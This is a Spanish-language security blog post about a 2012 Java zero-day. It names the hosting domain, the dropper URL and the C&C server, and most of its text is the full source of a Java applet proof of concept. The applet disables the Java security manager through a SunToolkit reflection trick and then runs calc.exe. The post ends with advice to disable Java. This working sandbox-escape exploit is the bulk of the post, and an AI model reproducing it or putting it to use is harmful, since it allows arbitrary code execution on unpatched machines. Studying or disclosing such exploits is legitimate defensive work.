Inicialmente, los investigadores descubrieron que este exploit estaba hospedado en ok.XXX4.net y actualmente este dominio está resolviendo una IP de China. La explotación de esta vulnerabilidad además descarga un ejecutable (Dropper.MsPMs) alojado en el mismo servidor (http://ok.XXX4.net/meeting/hi.exe). El dropper también conecta al C&C hello.icon.pk que actualmente resuelve con la IP 223.25.233.244 localizada en Singapur.
POC:
Se ha desarrollado un módulo de Metasploit que se ha probado con éxito en Windows 7 SP1 parcheado con Java 7 Update 6, y en los siguientes entornos:
- Mozilla Firefox en Ubuntu Linux 10.04
- Internet Explorer / Mozilla Firefox / Chrome en Windows XP
- Internet Explorer / Mozilla Firefox en Windows Vista
- Internet Explorer / Mozilla Firefox en Windows 7
- Safari en OS X 10.7.4
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
public class Gondvv extends Applet
{
public Gondvv()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
}
private Class GetClass(String paramString)
throws Throwable
{
Object arrayOfObject[] = new Object[1];
arrayOfObject[0] = paramString;
Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
localExpression.execute();
return (Class)localExpression.getValue();
}
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
public void init()
{
try
{
disableSecurity();
Process localProcess = null;
localProcess = Runtime.getRuntime().exec("calc.exe");
if(localProcess != null);
localProcess.waitFor();
}
catch(Throwable localThrowable)
{
localThrowable.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString("Loading", 50, 25);
}
}
De momento Oracle no ha publicado ningún parche así que se recomienda a los usuarios de Java desactivar el complemento de su navegador o desinstalar Java completamente del sistema.
Fuente: [POC] Source code for the New 0-day Java Exploit is available
No hay comentarios:
Publicar un comentario